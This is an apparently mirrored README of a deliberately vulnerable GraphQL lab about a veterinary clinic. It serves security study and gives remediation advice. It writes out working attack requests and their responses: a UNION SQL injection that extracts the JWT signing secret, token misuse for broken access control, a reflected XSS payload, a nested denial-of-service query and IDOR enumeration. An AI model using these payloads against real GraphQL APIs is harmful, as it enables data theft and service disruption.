在线时间:8:00-16:00
迪恩网络APP
随时随地掌握行业动态
扫描二维码
关注迪恩网络微信公众号
开源软件名称(OpenSource Name):righettod/poc-graphql开源软件地址(OpenSource Url):https://github.com/righettod/poc-graphql开源编程语言(OpenSource Language):Java 99.0%开源软件介绍(OpenSource Introduction):Table Of Content
Research on GraphQLObjective
LabsA labs has been created in order to study the different issues, this one take the context of a Veterinary managing healthcare of dogs. The labs was developed using IntelliJ IDEA Community Edition. Domains used are the following:
There is the labs conditions and assumptions:
Once started via the launch configuration present into the project or the command line To package the application, as a portable jar file, use the command
Deploying on Docker
In order to deploy the application in a docker container follow the steps:
Security weaknessesAuthorizationbroken access control IssueAs GraphQL is based on a single endpoint on which every requests is sent and as authorization is out of scope of the specification (no built-in features). It's up to the application to implements an authorization logic. In my labs I have a vulnerability on this point because the verification of the access token do not verify that the token belong to the veterinary passed in veterinaryId Example: I ask a access token for Dr Julien that have the identifier 3 in the storage by sending this GraphQL request: query getAccessToken {
auth(veterinaryName: "Julien")
} I receive the access token in the following GraphQL response: {
"data": {
"auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI"
}
} I send a GraphQL request to the query query brokenAccessControl {
myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
id, name, dogs {
name
}
}
} I receive in the GraphQL response the list of Dogs associated with Dr Benoit: {
"data": {
"myInfo": {
"id": 2,
"name": "Benoit",
"dogs": [
{
"name": "Babou"
},
{
"name": "Baboune"
},
{
"name": "Babylon"
},
... RecoWith GraphQL we passed from a authorization matrix using InjectionIssueAccording to how the information from the GraphQL request query/mutation/subscription are used by the GraphQL server to act on datastores there possibility for injection. In my labs I have a vulnerability on this point about SQLi in query Example: I send this GraphQL request in order to list the content of the query sqli {
dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
id
name
}
} I receive in the GraphQL response the secret used to sign JWT token along the name of the dog for which the name start ab: {
"data": {
"dogs": [
{
"id": 1,
"name": "Abi"
},
{
"id": 2,
"name": "Abime"
},
{
"id": 50,
"name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^"
}
]
}
} About XSS, it's interesting to note that the GraphQL response reflect the parameter sent in case of validation fail on the request sent. Example: I send this GraphQL request to the query query sqli {
myInfo(accessToken: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDU1MDQwfQ.P87Ef-GM99a_vzzbUf2RprUYxFgxgPnSukaVnz22BJ0",
veterinaryId: "<script>alert('XSS')</script>") {
id
}
} I receive this GraphQL response that reflect my payload, so, depending on the GraphQL client and is escaping/sanitizing behavior it can open the door to XSS: {
"data": null,
"errors": [
{
"message": "Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value='<script>alert('XSS')</script>'}' is not a valid 'Int' @ 'myInfo'",
"locations": [
{
"line": 3,
"column": 5,
"sourceName": null
}
],
"description": "argument 'veterinaryId' with value 'StringValue{value='<script>alert('XSS')</script>'}' is not a valid 'Int'",
"validationErrorType": "WrongType",
"queryPath": [
"myInfo"
],
"errorType": "ValidationError",
"path": null,
"extensions": null
}
]
} Reco
Resource exhaustionIssueAs the client control the amount of data requested it can send a GrapQL request to a query that cause a resource exhaustion on the storages called by the GraphQL server along the GraphQL server itself for the serialization of data to JSON. This issue can also happen using a mutation by sending a large amount of data in the parameters (input validation can used here to prevent this attack). This issue can also happen using a subscription by either:
In my labs I have a vulnerability on this point for query, precisely in the query Example: When I send this request, I cause my CPU to go to 100% during several minutes and my DB is local because it's an SQLite query dos {
allDogs(onlyFree: false, limit: 1000000) {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
}
}
}
}
}
}
}
}
}
}
}
} RecoFor Query: Depending on the implementation of GraphQL server used, use the built-in protection provided for Maximum Query Depth & Query Complexity (see specs here). For the Java implementation, add these 2 instrumentations classes to the execution strategy: See this class for an example of usage of the 2 instrumentations above. For Mutation/Subscription:
Exposure of private dataIssueWith GrapQL, a introspection feature is offered to the client in order to access to the API schema in order to discover the available data, Query and Mutation and Subscription on them. Note: Disabling Introspection puts your server in contravention of the GraphQL specification and expectations of most clients so use this with caution so prefer filtering access than disable it from business point of view. It imply that any client is able to dig into the schema in order to see in Using GraphiQL via the Documentation Explorer panel or this script it's possible to browse the schema exposed from a GrapQL endpoint. In my lab i have, by error, exposed the popularity information considered as sensitive about a Veterinary into the Type Veterinary In my lab, this url allow to obtain a copy of the schema. Example: Using the Documentation Explorer panel, i have found this field: RecoAuthentication constraint can be set on the access to the GraphQL endpoint to prevent an exposure to anonymous user but any authenticated user will access this information schema. Even if an client can see the structure of a type exposing sensiive information, to see this information it need to be allowed on the Query/Mutation/Subscription returning this data. Do not map sensitive information into the type defined into the schema. As GraphQL materialized how the client will consume the data, the GraphQL must not expose all the data available in the linked storage but ones useful for the client according to the business context of the GraphQL API exposed to them. Exposure of technical information in case of unexpected errorIssueWhen the GraphQL server meet an unexpected error (I/O with storages, NullPointerException, Timeout...), the response indicate Internal Server Error(s) while executing query so it give an hint to the attacker have act on the system and cause an unexpected behavior. Example: When I send this request query on my lab (invalid token): query testErrorHandling {
myInfo(accessToken:"aaaa", veterinaryId: 2){
id, name, dogs {
name,veterinary{
name
}
}
}
} I receive this reponse that it inform me that i have acted on the system and caused an unexpected behavior. Perhaps, for example, i have generated a stack trace on app log and if the app log files are rotating on date (daily) and not on size then i can send multiple time this resquest to fill the disk with errors logs... {
"data": {
"myInfo": null
},
"errors": [
{
"message": "Internal Server Error(s) while executing query",
"path": null,
"extensions": null
}
]
} RecoReturn a generic error if an unexpected error is meet, like for example Query cannot be processed! See an example into this class. Insecure Direct Object ReferenceIssueIf the GrapQL API expose Query/Mutation/Subscription for which the data identifier is guessable/predictable then the Query/Mutation/Subscription are exposed to IDOR attack on which the attacker will use a custom built list of identifier in order to try to access or act on data having an identifier that is part of the list and the action will succeed if authorization issue are also present on the target Query/Mutation/Subscription handling the target data. The GraphQL API Query/Mutation/Subscription proposed by my labs is vulnerable to IDOR because i use sequential integer for unique identifier for Dog and Veterinary. Example: Using the Documentation Explorer of GraphiQL we see that the identifier are simple integer and are sequential: Request query to detect IDOR: query detectIDOR {
allDogs{
id,veterinary{
id
}
}
} The response show the sequential identifier for Dog and Veterinay: {
"data": {
"allDogs": [
{
"id": 1,
"veterinary": {
"id": 1
}
},
{
"id": 2,
"veterinary": {
"id": 1
}
},
{
"id": 3,
"veterinary": {
"id": 1
}
},
...
{
"id": 55,
"veterinary": {
"id": 2
}
},
{
"id": 56,
"veterinary": {
"id": 2
}
},
{
"id": 57,
"veterinary": {
"id": 2
}
},
{
"id": 58,
"veterinary": {
"id": 2
}
},
{
"id": 59,
"veterinary": {
"id": 2
}
... Exposure of the API to the wrong sphere of clientsIssueWhen using GraphQL implementation server to build your GraphQL API, it can happen that this one enable by default some features that expose the GraphQL API to the wrong sphere of clients. Subscriptions WebSocket endpoint default enablingIn my lab it is the case because, by default, a WebSocket endpoint is exposed on the path Clients can obtain access to API data via this endpoint if the schema declare subscriptions in the Example: I can see the subscriptions exposed via the schema: If I send this subscription request to receive event from the newAssociation subscription: subscription subscribeToNewAssociation{
newAssociation
} I receive the following message indicating that, from now, i will receive information from this subscription:
And when i create a association via this mutation request in another browser for example: mutation associateDog{
associateDogToMe(accessToken: "eyJ0eXAiOiJKV1Qi...", veterinaryId: 4, dogId: 198){
name
}
} The mutation response prove that the action has been performed at data level: {
"data": {
"associateDogToMe": {
"name": "Dobby"
}
}
} After a moment, i receive this notification in response to my subscription: {
"newAssociation": "Dog['Dobby'] associated with Veterinary['Maxime']."
} Cross-Origin Resource Sharing default enablingIn my lab it is the case because, by default, CORS is enabled and set to Example: When I send this request in which if specify a different
I receive this response:
Call from a browser: |
2023-10-27
2022-08-15
2022-08-17
2022-09-23
2022-08-13
请发表评论